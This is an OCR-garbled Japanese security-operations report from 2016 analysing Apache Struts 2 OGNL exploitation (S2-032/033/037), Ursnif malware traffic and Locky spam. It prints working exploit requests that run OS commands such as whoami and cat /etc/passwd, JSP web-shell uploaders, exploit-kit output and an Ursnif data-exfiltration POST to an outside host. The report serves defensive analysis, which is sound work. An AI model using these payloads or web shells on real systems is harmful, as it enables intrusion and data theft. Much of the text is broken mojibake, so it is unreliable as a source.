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Apache Struts 2 Documentation
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https://struts.apache.org/docs/s2-037.html
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> Apache Struts 2 Documentation Security Bulletins
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Weblf%  WebEd WebiER FERIAE Windows Linux/MAC GIZAE  BIAERE ERR NabkeE  SERT  BEET
AREBE ERE  IEESR TAEE Bl BaER JlERA ErE? BREAE

#EKiglE + WebIdhh | WebigiE © $2-032 Remote Code Execution [POC]
4 EEFIE

52-032 Remote Code Execution [POC] Sao

80, BEF 2016-4-26 1544112 EHEE » =l - o

By:menmen519

‘& & @1.  Pmethod:%23_memberaccess¥3d@ognl.OgnlCaont ext@IEFAULT_MEMBER_ACCESS,%23a%30%23paraneters. meqob][@],%23¢
’%y t %3d%23paraneters.reqobi[1],¥23re¥3dE25cont ext . get (¥23a), 523b%3d%525req. get RealPat h (%23 ) ¥2b%23paraneters . reqobi[ 2], ¥23F0s¥3dnen
f java.in.FileOutputstrean(%23n),%23F0s . urite (¥23paraneters . content [@]. getBytes()),%23F0s. close(),%23hh
Q %3d%23context . get (¥23paraneters. rpsobi[@]),%230h. geturiter() . print1n(%230),%23hh. geturiter() . Flusn(),%23nh. gethriter( ). close(), 15%23x

x:%23request.tostringareqobi=com. opensymphony. xuork2. dispatcher. HttpservletRequesta
rpsobi=con. opensymphony . xuork2. dispatcher. HttpSeryletRespons edreqob]=%2fareqobi=test . jspacontent =gifaoas3CH25HOAY 20%20%2 0% 201 7% 28
67 0% 208 20 2 0% 20 2 B2 O 288 20 ava . 10 Thput St rean%20in

TAME RS %22024%22. equals¥28request . getParanct erk28%22put %29
7 a5 e%253a%2PRUNT Ine . gt Runtin 9. execk28request . getParanct erk28%221%22%29%29. get Input St rean 2 2 2220
[ o201t ¥ 2025208253 0520 t 253520 @byt e%SE
BER 12:20 %200ut . print! Cpre%3E P2 0% 2 05 2 0% 2% 2 5 2 2 2 B i 1 din. ready28b%209%209% 21 - 1%2 9% T BHOAK 2 0% 20% 20% 20% 20
BETH: 403 K it. printl astri b jt.print
- %3CK27pr O 2205 20857 0% ) £
=SR] i
EhitR

(a) REED— R AT TWE Web Y1 b

Struts2 s2-32;RRAELEN

J;ﬂll}l!p S vwwwew xo0x ocx e/ xxx mctien

TR s truts w02-2228W, BN ESlstruta2fK, MABNG RN SRR X MRS L, NEWE N

|7 3

L4 S R S510T
DRV AN F NS WO 318802519
RE_SH

(b)Web EWSHESSHDREMZHERIZY—ER
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! Struts2 s2-0: By Storm www.7kb.org = ] X
B htip//10.1.31 208080/ struts 2.3 28%2Dshowcase/index action
% |d b4 2N
ud=106(tomecatT) gid=11Xtomcat7) groups=11Xtomeat?) THASESE | FASsheziiiE BB
POSTHEX 7%  GETEX jhiiés POSTEX  GETHN#

(o) BEY-IILO

K8 Struts2 Exploit Kit 20160426 - X
Bi: [hﬁp://1[l.1,3lEl]ﬂ[lSl]/slvutsZ,SZﬂ-showcasefindexacﬂon | SEZERENY
@ 2016 52-032 (O 2014 52-020 O 2013 52-018 O 2018 52-016 (O 2013 52-018 O 2011 52-008 (O 2010 52-005

Bifgs WITHS x4 bf D TaEn

E ‘Id VH it | | (Rmes EEER
unix 3 STREAM  CONNECTED 1708  @/com/ubuntu/upstart ~
unix 3 STREAM  CONNECTED 8426  @/com/ubuntufupstart

unix 3 DGRAM 7667

unix 2 DGRAM 2003

unix 3 STREAM  CONNECTED 38267

unix 3 STREAM  CONNECTED 7881  /var/run/dbus/system_ bus_socket

unix 2 DGRAM 39080

unix 2 DGRAM 38176

unix 3 STREAM  CONNECTED 1699

unix 3 STREAM  CONNECTED 8421

unix 3 STREAM  COMNNECTED 1894

unix 8 STREAM  CONNECTED 10876  /var/run/dbus/system bus_socket

unix 2 STREAM  CONMECTED 10605

unix 3 STREAM  CONNECTED 10575

unix 3 STREAM  COMNMECTED 10574

unix 2 DGRAM 10607

unix 2 STREAM  COMNMNECTED 38402

unix 2 STREAM  COMNECTED 39078

unix 3 STREAM  CONNECTED 7807

unix 3 STREAM  COMNMECTED 38266

unix 3 STREAM  GONNECTED 7806

unix 3 STREAM  CONMECTED 2024

unix 3 STREAM  GONNECTED 7745

unix 3 STREAM  CONMECTED 11771

unix 2 DGRAM 8977

unix 3 DGRAM 7663

unix 3 STREAM  CONNECTED 7808  /var/run/dbus/system bus_socket

unix 3 STREAM  CONNECTED 1848  @/com/ubuntufupstart

unix 3 STREAM  CONNECTED 38269

unix 3 STREAM  GONNECTED 39056  /var/run/dbus/system bus_socket

unix 2 DGRAM 10502

*K8cmd-> id

uid=106(tomeat?) gid=112(tomcat?) eroups=112{tomcat?)

v

(d)BZEY-ILD
7 S2-032 DOREEI— ROBEY—)L
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Stream Content

POST /struts2. 3. 28-showcase/index. action?method :%23_memberAccess%3d%40ogn]. ognlContext®
20%40DEFAULT_MEMBER_ACCESS%2c%23a%3d%40java. 1ang. RuntimeX#40getRuntimeX28%29, execk28%
23parameters. command%20%560%5D%29. get Inputstr eam®28%29%2 c%2 3b%3 dnew’

20java. jo. InputStreamReader®2 8%23a%29%2c%23c%3dnew20%20java. io. BufferedReader%28%23b%
20%2c%2 3d%3dnewk20char®5B51020%5D%2c%23C. readm28m23d”29wzc 23kx1zx 3d%20%

400r? apache struts2.servletactionContext®¥40getResponsek? 8% getWriter®28%29%2c%
23kxTzx. print1n¥%28%23d%20%29%2 c%2 3kx 1 zx. closedcommand=netstat HTTP/1.1

Ccontent-Type: application/x-www-form-urlencoded
Host: 10.1.31.21:8080

HTTP/1.1 200 OK 179 % 0S V> ROFZHRIED
server: Apache-Coyote/1.1
Transfer-encoding: chunked I
Date: Thu, 28 Apr 2016 06:18:41 GMT

o 0S IV ROEITHRENMCEICEZEIND
Active Internet connections (w/o servers)

Proto Recv-Q Send-Q Local address Foreign Address State

tcp 0 0 struts2:ssh 10.1.321.200:57353 ESTABLISHED
tTcp 0 0 struts2:ssh 10.1.31.200:57118 ESTABLISHED
tcph 0 0 struts2:http-alt [UNKNOWN] 149233 TIME_WAILT
tcph 0 0 struts2:http-alt [UNKNOWN] 149235 ESTABLISHED
tcph 0 0 struts2:http-alt [UNKNOWN] 149229 TIME_WALT
tcph 0 0 struts2:http-alt [UNKNOWN] 149230 TIME_WALT
tcph 0 0 struts2:http-alt [UNKNOWN] 149234 TIME_WAILT
tcph 0 0 struts2:http-alt [UNKNOWN] 149231 TIME_WAILT
tcph 0 0 struts2:http-alt [UNKNOWN] 149232 TIME_WAIT
Active UNIX domain sockets (w/o servers)

Proto Refcnt Flags Type State I-Node Path

8 S2-032 DREEI— ML HBIERE

CNSIREEI—-RENNRENE 4 B 26 B A &D. S2-032 OS2 BAULIREZIRAIL
IRSHEU. RFUISBIEDZA(E Web 7T —23> OET/ AN R, 0S IV ROFEITHER%
FREEDHD T, WK MDOESSEDBERBZFAR I 2 ENBMNEEZISNET ., UNU—EBICE OS
IRV ROFATHERERRIDREFICEEFST UFAL I3 OGNL KEAWT. TrAIVEER T
BOY., TP/ IIDHEIBRRE  WENKRINUTIB SRR NCEE 25X 2 BEEMRLEUZ. &
6 (C JSOC THERUIZEITENS 0OS IV ROI&AIHIZRUET .

&R 6 EiTEN3 0S IV RDRFEH
netstat id sleep

whoami cat /etc/passwd rm *

INSOIEBELINIE. J\WIRT DIVER A S IRBBEZRIUELIZ(” 9. & 10).
JISOC (CTHHRIANUVIENYI R 7 TP A N D2FMINESR 7 (RLET,
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Stream Content

rosT NN = Hod ;%23 _memberAccessi20%
3de@ognl.ognlContext@DEFAULT_MEMBER_ACCESS,%23a%3d%2Iparameters. reqobj%
5B0%5D,%23c%3d%23parameters. reqobj%20%561%5D,%23req%3d%23context. get (%
23a},%23b%3d%23req.?etRea1Path?%23c}%2b%23parameterﬁ.reqobj%SBE%SD,%23fos
%3dnews20java. io. Fileoutputstream(%23b),%23fos.write(®

23parameters. content®560%5D. getBytes ()),%23fos. close(),%23hh%20%3d%
23context.get (%23parameters. rpsobj%560%5D) ,%23hh. getwriter (). printin(®
23b),%23hh. getwriter (). flush(),%20%23hh. getwriter (). close(),17%23xx:%20%
23request. tostring&regobj=com. opensymphony. xwork2. dispatcher. HttpServietr
equesté&rpsobj=com. opensymphon

20. xwork?. dispatcher. HttpServletResponse&reqobi=%

2f&reqobj=cmd. jsp&content=%3c%25%40page+import%3d%22java. 10. *%22%25%3e%0d
%0a%3C%25%40page+importi3d%22sun. misc. BASEG4Decoderi2 2%2 5%3e%0d%0a%3 %2 5%
Ddx0atry+%7 b%0d%0astring+omd+%3d+request. getParameter (%22tom%22)%3b%0d%
Dastring+path%3dapplication.getRealPath(request. getRequestURI() I%3b%0d%
Dastring+dir%3dnew+File(path). getParent ()%3b%0d%0aif (cmd. equals (%
225zh0ZWFt%22) )%7bout. print (3%22%5b5%5d%22%2bd 1 ri%2b%2 2%5bEX5d%22 ) %3b%7 d%0d
%0abytek5b%5d+binary+%3d+BASEG4Decoder. class. newInstance(). decodeBuffer
(cmd)3%3b%0d*¥0astring+k8cmd+%3d+new+string(binary)%3b%0dx%0aProcess+child+%
3d+Rruntime. getRuntime() . exec (k8cmd)%3bX%0d¥%0aInputstreamin+%3d

+child. getInputstream()%3b%0di0aout. print (%22-%3e7 c%2

(a)ty>a>7—4(—8B)

<% @page import="java.io.*"%>

9 i = " i Y —_— [—
<%@page import="sun.misc.BASE6] 2140 v ofiEich Web TTU5 — 3 OBRBF LI MO
9 "
<% EBIT REETS SRR BDET
try {
String cmd = request.getParameter("tom");

String path=application.getRealPath(request.getRequestURI());

String dir=new File(path).getParent();
if(cmd.equals("Szh0ZWFt")){out.print("[S]"+dir+"[E]"); }

byte[] binary = BASE64Decoder.class.newlnstance().decodeBuffer(cmd);
String k8cmd = new String(binary);

Process child = Runtime.getRuntime().exec(k8cmd);

InputStream in = child.getInputStream();

out.print("->|%2

(b) FRAEBDTI— RER
9 J\WIKRFDIERZEHA#BVIIAMIO
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Stream Content

POST _?method :%23_member Access%20%

3d@ognl.ognlContext@DEFAULT_MEMBER_ACCESS ,%23a%3d%23parameters. reqobj%

SBD%SD,%23(%3d%23parameters.re?ij%ED%SBl%SD,%Eareq%ad%zacontext.get %
h

23a),%23b%3d%23req. getRealrPath(%23c)%2b%23parameters. reqobj%562%5D,%23To0s
%3dnew®20java. io.Fileoutputstream(%23b) ,%23fos. write(%
23parameters.content%SBD%SD.getBEtes()),%ZEFGS.c105e(},%23hh%20%3d%
23context.get (¥23parameters. rpsobj%5B0%5D) ,%23hh. getwWriter (). printIn(®%
23b},%23hh.getWFiter(}.fTu5h(§,%20%23hh.getWFiter%}.cTose(},l?%ZBxx:%ZD%
23request. tostring&reqobj=com. opensymphony. xwork2. dispatcher.Httpservietr
equesté&rpsobj=com. opensymphon

20. xwork?. dispatcher. HttpServ | etResponse&reqobj=%

2T&reqob]=0ne. Jsp&content=%3c%251T (request. getParameter (%227%22) '%3dnull)
(new+java. io. FileoutputStream(application. getRealPath(X22%2f%22)%
2breque5t.getParameter(%sz%zz}gg.write(request.getParameter(%Zzt%

22). getﬁﬁesi :II i%3b%25%3e%3ca+hr‘ef%3d%220ne_0k.%22%3e%3c%2fa%3e HTTP/1.1
HOST :

Accept: application/x-shockwave-flash, ima?efgif, image/x-xbitmap, image/
jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-
powerpoint, application/msword, *=/*

rReferer:

Content-Type: application/x-www-Torm-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET
CLR 2.0.50727; MAXTHON 2.0)

X-Forw

(a)ty3a>r—4(—8)

5% f MEEINTVDLE

<% % Web 77U —23>F (LI NE FIEROI 71V EVER

if(request.getParameter("f")!=null)

(new java.io.FileOutputStream(application.getRealPath("/")+
request.getParameter("f"))).write(request.getParameter("t").getBytes());

%>

<a href="0One_OK"></a>

(b) FR#EBOT 1— KSR
10 NYIR7I7AWERERHDVIIAMIQ

R 7 WENSHERBLETFAIVA(—HI)
one.jsp cmd.jsp nimabi.jsp

WERFUIRSHIZEHED 4 A 27 BIC(E. A5 4z BAULREORINEHRULEE (>
TOMBLELEUL ERIARFUCEEARSZR 11 LUK 12 (CRUEFT . cNSOEEE
—MiX(E7T IP 7RUANSFEAELTHD. OS IV R(whoami. Is)Z2EITI DA XU T, B4 D
EITHERZIGEUTVREN R TEEU,

Copyright© 2016 LAC Co., Ltd. All Rights Reserved. JSOC INSIGHT vol.13 16



Stream Content

ceT I = o 52 3_member Access%3d%40ogn]. ognlContext®20%
40DEFAULT_MEMBER_ACCESS%2c%23a%3d%40java. Tang. Runtime%4 0getRUNt ime%2B8%29. execk2 8%
23parameters. command®20%560%50%29. get InputStream28%29%2c%23b%3dnewss

20java. jo. InputstreamReader®28%23a%29%2c%23c%3dnewk20%20java. 0. Bufferedreader®28%23b%29%
2ck%23d%3dnews20char®5651020%50%2c%23 . read%28%23d%20%2 c%2 3kx 1 zx%3d%20%

400rg. apache. struts2, servletActionContext¥40getResponse®28%29. getWr iterk28%29%2ck

23kxTzx. print1n%28%23d%20%29%2 c%2 3kx1zx. closedcommand=whoami |HTTP/1.1
HOST: *

Accept: text/shtml,application/xhtml+xml,application/
Upgrade-Insecure-Requests:
user-agent: mMozilla/5.0 (windows NT 6.1) Applewebkj
Chrome/49.0.2623.112 safari/537.36
Accept-Encoding: gzip, deflate, sdch
AccCept-Language: ja,en-us;g=0.8,en;g=0.6
cookie:

1; g=0. 9, image/webp,*/*;q=0.8

7.36 (KHTML, like Gecko)

Ei72HH#5 0S IV R

Connection: Keep-Alive

HTTP/1.1 200 oK
Date: Wed, 27 Apr 2016 09:42:34 GMT
set-Cookie:

Connection: close
Transfer-encoding: chunked
Content-Type: text/plain; charse

whoami OFEITIERNIT RSN TLE

1ff8

11 whoami J¥> RORLIHZ HERBUICEER

Stream Content

GET _?merhod:%z 3_memberAccess
3d@ogn|.0gnlContext@DEFAULT_MEMBER_ACCESS,%23res¥3d%

40org. apache. struts2. servietActionContext¥40getResponse () ,%23res. setCharacterencoding (%
23parameters.encoding[oj),%23n%3d%23res.getwrﬁter(g,%235%3dnew+jaua.utﬁ1.scanner

(@java. lang. Runtime@getRuntime (). exec(%23parameters.cmd[0]).getInputstream
()3.useDe11m1ter(%23parameters.pp[O]),%235tr%3d%235.hasNext(?%%F%zas.next()%%.%
23parameters. ppp[0],%23w. print (%23str),%23w. close() ,17%23xx:%23request. tostri
20-1%20%2Fusri2F local%2Fromcat6%2 Fwebapps®2Fedus2Fadpp="\A&ppp=%20&encoding=UTF-§
HTTP/1.1

HOST :

User-agent: Mozilla/5.0 (baidu spider)
Accept-Encoding: gzip, deflate ey <
Cooki 72 H#S 0S IV R

Connection: Keep-Alive

(a)ZYIIAB

Stream Content

HTTP/1.1 200 OK
Date: wed, Al
set-Cookie:
Content-Lengt

r 2016 1

cConnection: close

Content- e: text/plain; charset=UTF-8

...... 36

drwxrwxr-x 4 2016 WEB-INF
drwxr-x--- 4096 2016

drwxrwxr-x 4096 2016

drwxrwxr-x 4096 2015

— WX -XF -X 1078 2016 favicon.ico

drwxrwxr-x 4096 2016
drwxrwxr-x 4096 2015
drwxrwxr-x 4096 2016

R D WD D - 0 Ln hdn

drwxrwxr-x 4096 2016

(b)HRKRAMPEDL AR R
12 Is V> ROBIh 2 HERU IBIER
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113X 8 OARSNIARED— FOVIIZAMAFEBENEEUL TLSTzsd, ARFET— RZE(C
LTINSOWEBEMERSNZEEZIANET . Ffo. B—OWETNMSOBETHOTHH 11 &
12 TEVIIZAPOBENERZOTVEFT . CNFELOREE]— FEVWD T BHS I EZITIIE
T, WEORINEZESHTWEEZLNE T,

IS BRA M 33— EOINEIBE TS, MROMBIEHEZRHE I BEORINS 25 5
2ET. B—0ORETHS/ W) R71ERZERH BV I TANARKIL TWEUIZ. AESSBARR RDFER D
SERANORE(IIFRCIEL, MESSHIBRICEDEHBRICHRZITINELD, 1227 MEER
(CHIBRRRIIEDEESZRRUSEDEDTHHFLI,

4.1.3 S2-033 $4& U S2-037 DAESSIEICONT

6 B LA EMNSB. Apache Struts2 ® REST F3HJ A DICEEAT 3 M H M
(S2-033(CVE-2016-3087). S2-037(CVE-2016-4438))iMERWTARENZELZ. INB0
FEs8 146, 4.1.2 M S2-032 LEAKICHNEPNS OGNL REERITTE B0 REITEFIHESSIE
t“a_o

INH5DOMEES (& Apache Struts 2 (CBEWVWT. Web 7—FFI9FvD—RETHD
REST(Representational State Transfer)z3EIR9 3/cshlC. REST J5J1 % FRALTLRIHE
R ERZITET, S2-033 (& DMI i"ERDIBECEENHD. S2-037 (& DMI OREICREFRET
FEERTET, BB S2-037 (. A+ THolz S2-033 VIEIEZHOIBDTI . S2-037 DIREE]
—ROFATHER (K 13)TE VIIZANIEFNS 0S IV RIEITEN. ICERNB(CHRITIRRENS
FNFEI,
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Stream Content

GET /strutsZ—rest—showcase/orders/! (%23_memberAccess§
3d@ognl.ognlContext@DEFAULT_MEMBE Z23contextX3b%23parameters. obj%
5b0%5d%5d. getwriter () ,%23rs%3d@org. apache. commons. io. I0Uti1s@tostring

(@java. Tang. Runtime@getRuntime (). exec (%23 arameters.command[O]).getInputStream()) %

23wr. pr1nt?n(%23rs) %23wr . Tlush(),%23wr. cqcse()) Xx. tostring. json?

&obj=com. opensymphony xwork2. d1spatcher Httpserv]etResponse&content=164568&(
20/etc/passwd HTTP/1.

Accept: text/html, app11cat1cn/xhtm1+xm1 B

Accept-lLanguage: ja-JP

User-agent: Mozilla/5.0 (wWindows NT 6.1; Trident/7.0; rv:11.0) Tike Gecko
Accept-Encoding: gzip, deflate
Host: 10.0.2.9:8080

DNT: 1

Connection: Keep-Alive

Ei72HH#5 0S IV R

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1
Transfer-Encoding: chunked

Date: Fri, 17 Jun 2016 08:55:35 GMT

8f7
root:x:0:0:root: /root:/bin/bash
daemon:x:1:1:daemon: /usr,/shin: /usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/shin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync: /bin: /bin/sync
games:x:5:60:games: /usr/games: /usr/sbin/nologin
man:x:6:12:man:/var/cache/man: /usr/sbin/nologin
Tp:ix:7:7:1p: /var/spoo1/1€d :/usr/shin/nologin
mail: x 8: B mail:/var/mail:/usr/sbin/nologin
Syvar fonnn] Snews s fusre fshin/nnlnnin

B 13 S2-037 2ERI3REEEN

S2-033 BLU S2-037 (MEIEEOFFENSINEI-RHIHBLTVED, X 8 ([CRIEDIFEHIT
URL O/NZEBSDOBREICHD. [%23_memberAccess | OERINT N/ I THIHDENTUHGHD
FA. (B 13 FRiE8)

&R 8 ZMSEMHEEMAIIVIIAMDABDIEL
Rfass 1% UJIAMSER
S2-033 I %23_memberAccess
S2-037 /%23_memberAccess
/(%23_memberAccess
S2-032(&%) ?method:%23_memberAccess
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4.1.4 S2-032, S2-033 $4LUV S2-037 ADFR

& 9(CERMISHEERTEDREFZ. &K 10(CEMEIECMICN -2 2RUFT . ZAESFIEORE
DBEE(L, Apache Struts 2 DFRTEEFIAT RN -2 (CEDEMBEEFZREIF O TVET . AESTHED
&R Z5)\—2324° Apache Struts 2 DFRTEZFIFALTWRIEEE BRABIE/N-T32AY
vI7F— NI BETIRAT RERKIETSH. DMI LU REST DR EZRE#TINBIHOET,

&/ 9 HMeSSIELEE DR

DMI $&U REST DESE $2-032

DMI &%), REST B3 MESEN-I3>8 | leSIN-J3avHE MessN—->3>H
DMI #&3%). REST &%) AU FERL MessN—->3a>B
DMI &%), REST 3 MESEIN—-a>F | RERL FERL

DMI &%), REST &3 FERL FERL FERU

&/ 10 AMESEEERBIN-I3>

S$2-032. S2-033 S2-037

2.3.20 ~ 2.3.28
fHfess ff&8s

(2.3.20.3, 2.3.24.3. 2.3.28.1 %)

2.3.20.3, 2.3.24.3. 2.3.28.1 BERL &S5

2.3.29 BB =2
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4.2 Ursnif OEREBFHlORIE

JSOC Tl& 4 BLUBE Ursnif(BlI$ : Gozi)MHINBXILIIT DRz ZEHRFUL TWET . Ursnif
(FTLSw M — ROERIHERIRSE D BIRZEFENT VI IIT T BRI LRy MU T I EDIFR
BMAVCELBRARIERE, IL >y M- NERZGEREN A IEERAINENNHOFES, IC3(HAY
ANN—IBIEXTRE>A—-)E 6 A 14 HIC. Ursnif OREEMNLNDDDHD . EDHENLK T BENH
HRLUCEREMR 2RERUEUEL. LAC T 6 A 15 BIC Ursnif MEEEMZ2TVBELTERR
IFUDNFITOESS,

4.2.1 Ursnif QRBERFIRICONT

14 (C Ursnif (CEIETZ1> ST MREEMSERULET,

(o))
o
1

FEAE

48 48 48 48 4H298- 5A 58 5A 5A27H- 6A 68 6H 68
1-78 8-14H 15-21H 22-28H 5A5H 6-12H 13-19H 20-26H 6A2H 3-9H 10-16H 17-23H 24-30H

14 Ursnif [CEET31>57 > MOFEHE

JSOC OFRFNZEAET(E. Ursnif (FIVZTOA My SOEE(C LB RN, REA—IUTTfTE
NIV O - BITICLRBEREFEEL TVET, Fiz. 49>0-459%NU. BFRHY(C Ursnif (J=%
PFRTEMRETTNTVEIN, ISOC TH BedepICRERUL DS, Ursnif (CRERLEZEEZZANS

7 =Ry N AT LITTT Gozi C & BIREICER
https://www.jc3.or.jp/topics/gozi.html

8 Ursnif (8% : Goziftt) 1 3 BLUBIERI&IRZ-TLET.
http://www.lac.co.jp/blog/category/security/20160615.html
@Ry MO A RSN URSNIF A C e
http://blog.trendmicro.co.jp/archives/13471

10 350 INSIGHT vol. 12 2.2 Bedep OREABHIDELE
http://www.lac.co.jp/security/report/pdf/20160617_jsoc_jo001f.pdf
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https://www.jc3.or.jp/topics/gozi.html
http://www.lac.co.jp/blog/category/security/20160615.html
http://blog.trendmicro.co.jp/archives/13471
http://www.lac.co.jp/security/report/pdf/20160617_jsoc_j001f.pdf

BRANSHINGBOEUE.

F5(C. SEFEBURAT X IV ASORMI7IINRIBEATEEL TEMENBIHEEHD . A—
W2 AT LD SPAM J4IVIREZIDIRIT. B Tr 1V ERE - BATUTLESISBHINGDFUR,

& 11 (T Ursnif NRMISNIABEX-ILORFPIZRUET . REX-I O TS T7A )LD
AXOABFIRNTHATET. FILFEETA-IT RLADO MIUARILRA SN jp I THEX=ILE
FHEIID. —RUTAREBLMIEIIERM BV EMFHTT .

& 11 Ursnif NRIENEREA-)GI(—EB)
(a) Amazon JP [CBEURAREA-N
Amazon JP" <druminsmite@ ® @ .pl >"

Amazon.co.jp B3ZIAVDHERR
AL O B7HAVDEERR XXX-YYYYYYY-2222222.Zip

(b) fEEImELBDOEIAREA-I
<Xxpybk563a@ @ @ .ne.jp>
==k

Al 028 PPT1-06_08_pdf.ppt.zip

+& 11 ORFEFIDEFD . EEROAREA—IUKT I D FEMGEH, 2016 F 6 A 7 BI(CH ARSI
1§n. @6 A 29 BlICrv NS IhFERINF U, BERMEEATONZAEEE, Ursnif (C£3
BEAOVTYMESMEIMULER(R 14-O©. Q)WEELTORTENS RERX— USRS
NEI7A)UH Ursnif OREZEIRIRD 1 DEHERTEET,

U B AE R R B - IR R,
http://www.post.japanpost.jp/notification/notice/2016/0607_01.html
1203 NEH OB T B R TP TS ORE A — U EBEEN
http://www.kuronekoyamato.co.jp/info/info_160629.html
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http://www.post.japanpost.jp/notification/notice/2016/0607_01.html
http://www.kuronekoyamato.co.jp/info/info_160629.html

4.2.2 Ursnif OB {ECDONT

15 (C Ursnif [CRRRUZBRICFELE TS HTTP BEDRAFIZRUET .
Ursnif [CREZRUCIRR G T ORF € DBEZRE ST DL EHERL TVEFET,

- URL OJ{ZEBAY 150 XFU EORWITIZANTHS.

- URL O/VREBHT/images/ INSiaFS.

- GET XVyROYIIRX MDIZEFBEFTRD T )WL FH .jpeg JELLET .gif ITHD.

- POST *VyROUIIX bOGZEIBEFTOT7ILEFHT.bmplTHO. POST OF—4ED
IHBILbINIILERFOIF IV BEEL TS,

‘I fimages/TolEES !

Stream Content\/

POST |/images /PPom9vsg_2BcqoTzR7RL2br / KMSHPYuVO /gxmcIr2elz7 7dsQ118/vCHO8HyZUr SK/
MO0_ZF% B73A6BICR1C310z8/TCvg4upr 3Tuvipian qulASpo9hU92 jDQoBzaLgwRjeym/
_2FYDfnzznPL_2B4_2/FkH2ZysMi/ndycs2kSwr [ 7gL5HTv. bmp |HTTP/1.1

content-Type: mu1t1part orm-data; boundary=I3 g/ 293510574728360

user-Agent: Mozilla/4.0 (compat1b1e, MSIE 8. O dows NT 6.1; win64; x64)

Host: robinson98.com

Eoercion Koapiagive | POSTA/vFOWSITHIAT Lhmpi | | IESTEOWT bin) HEHFD
cache-control: no-cache IrAILICUOT A FHYESNA 2

--14567214293510574728360 _\/
content-Disposition: form-data; name="upload_file"; filename

content-Type: application/octet-stream

YRS N { e lae ek e aiata zc".Fo.e. .4, Gqu 4. SR SRR R, G T

$ISTUE -T7s. -.~(.8...b+z.m..s. )th .T.8.->. (c'x J S0 Ao, B ricy Aot 4 Sh]
3s L" 2/\'? .. \Rh. 'IE.YZ),-"S..:V. qMR‘I q .0. ( .H. yp....P....b ..... a%wp.Io.".

$° Ki..w.Pdv

8. JV im.9. .&&%.R..G.C.A,.RP....&. .... tPVPLK.

14 5672142935105/4/ 28360--

15 Ursnif BRIFOFRER HTTP BEDRHMH)

POST OF—#FEBCR &N DD, TP/ AR T .bin IO T4 L FRERU R AIC/ERRENE T,
VERRENIZI74UE ZIP EfESNETFZANI7AIL T, UFORBHEFNET S,

- RERA(CFITEALTLS URL 153k
- THOEAUREIANASE
- ZFETI74)0 Window 54 N

13 URSNIF Data Theft Malware Shared on Microsoft OneDrive

https://www.netskope.com/blog/ursnif-data-theft-malware-shared-on-microsoft-onedrive/
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4.3 FUYAVITVRREFETIAREA-IOIEH

4.3.1 JSOC TOAREA-IDRERR

2016 FICAITHBTMTTTAINETITIBILCLD. HFRADELFERDT 7 EIESL T35
SHLAIITICGGRE T ZRERA—ILMEINL TOET, 45C 2 BHS5EEN RSN TS Locky LI
(N33 LDIITE, BERITEETIRMI T IDMT VX — I E KRB EBENN L TRESE
BELSTOES, ISOC TE 3 B 14 Bh'S Locky (GHETIRBRA—IEZRBLCRIELTVE
¥, REITE 2016 £ 3 Ah'S 6 AFTHOETHIRZBICREA—ILOMEEICOVTERBLVELET .

16 (Z JSOC TRAEUILRI I7 M IASTEARE A=)V OIERRL BRI OZER R ZRUET .

TATSNIZI71ILDZA(E ZIP K TIEfiad Nz JavaScript J7( L TH0. Flz RAR FE X CIEH@E
UIzbdi°, ¥7044E Word RE+a1X> RJ74)L(DOC Ffzld DOCM)FERDFfTI7 IV 558 TS
EDEHEBLTVET,

JSOC TRHMEUJE Locky ([GFREIRIAREA—IUE. ZVEFICE 1 B 40 BEFELCDEFDIEEHDFEL
FEH B 16-OPK 16-QDESCAEA—ILHEENMRVEARIEHDEUR. K 16-QDEE T,
5 B0 7 TERREFRI )L —TCRSUIzEENTZ 50 ANSEEaEN'. Locky IR TIBHRAZTIENS
3 hOADAEE®D Dridex'®, Exploit Kit D>—2T#% Angler Exploit Kit. Necurs Ry kv’ 0
SEEDRBEHUILDIFRIBDEU. K 16-Q0HAR. JISOC TH Locky (LFHETZAREN
= ZZELTUVRDOZCENS, Locky t° Dridex MiEEN(E Necurs 7w by hMOTEENCRZZL TV
BEEZBNET,

1% 5294917 Locky. HEERESKENHIL
http://www.symantec.com/connect/blogs/locky
HRZEBIIET>YLADIT[ Locky INEN TEHILERH
http://blog.trendmicro.co.jp/archives/12894

15 44— IBFEEENES Locky. Dridex. Angler DEBINR(CAH
http://www.symantec.com/connect/blogs/locky-dridex-angler-0
16 Locky (FREfEbRRON ?
http://www.barracuda.co.jp/column/detail /556

Locky : BESIMCEAULRV MRS £
http://blog.f-secure.jp/archives/50763628.html

Y b R L T LT OB RSN
http://gblogs.cisco.com/jp/2016/07/lurk-crimeware-connections-html/
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http://www.symantec.com/connect/blogs/locky
http://blog.trendmicro.co.jp/archives/12894
http://www.symantec.com/connect/blogs/locky-dridex-angler-0
http://www.barracuda.co.jp/column/detail/556
http://blog.f-secure.jp/archives/50763628.html
http://gblogs.cisco.com/jp/2016/07/lurk-crimeware-connections-html/

F BZIP ORAR ODOCM

oboC OPDF

3R 3R 3A278- 4A 4R 4A 4A 5A 5A 5A 5A 5A298- 6R 6R 6A 6A
14-198 20-26H 4A2H 3-98 10-168 17-238 24-308 1-78 8-145 15-218 22-288 6R4H 5-118 12-188 19-258 26-308

16 JSOC TREVEAFAEA - HEHEE(3 B~6 A)

17 (EARBEA-N 2 ZAEU AT RO 82 RUE T

KESNTKBIREA-INOXREBRFDSM LY -(F-0700~+0900 FTEHD/F->HHhE
UTeht ERRICHEUR AL OZERE (& BARFEO 18 K5 6 RFE TOREFCREITZED
WZ<HOELI.

08F 18%F 20F 30F 48F S58F 60F 70F 80F 98F 100F 110F 128F 130F 140F 150F 166F 170F 188F 198F 208F 216F 228F 236F

17 JSOC TORMEHEHNAFAEA-IZEGHRIEE(3 A~6 A)
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18 [CRAEUAEA-INOREBBEMI T OVER B OB ZRUE TS .

AWMI TP THS JavaScript TP AIVOIERRENTA1 LRI THEHRHOZERF. ZOHOSZ]
BUBESEEIN, REDZ AL BHORFACATIA-IN ORI Ir I ELTEETN TR IEN'S
VMEEICHDFUE.

16 £ 17 5. JSOC TIRIFHOSZILFCAREA-N2RET NS LIEHER%
PR<EBCEAEA-INENMKBBERNHOEU . IRBE FEAROEBERZIEREL, BEFEP
AN RIIART(CRIESE . FACHEER T 2 EN DD A—ILDOR(TIHIN TAREX - ZFNEDLS
(OXEL TV RIREMENEZBNE T

18 OFAIT(E IREEN AP HERBHIAFREZD T THEI DDAV EERk - 1XEL
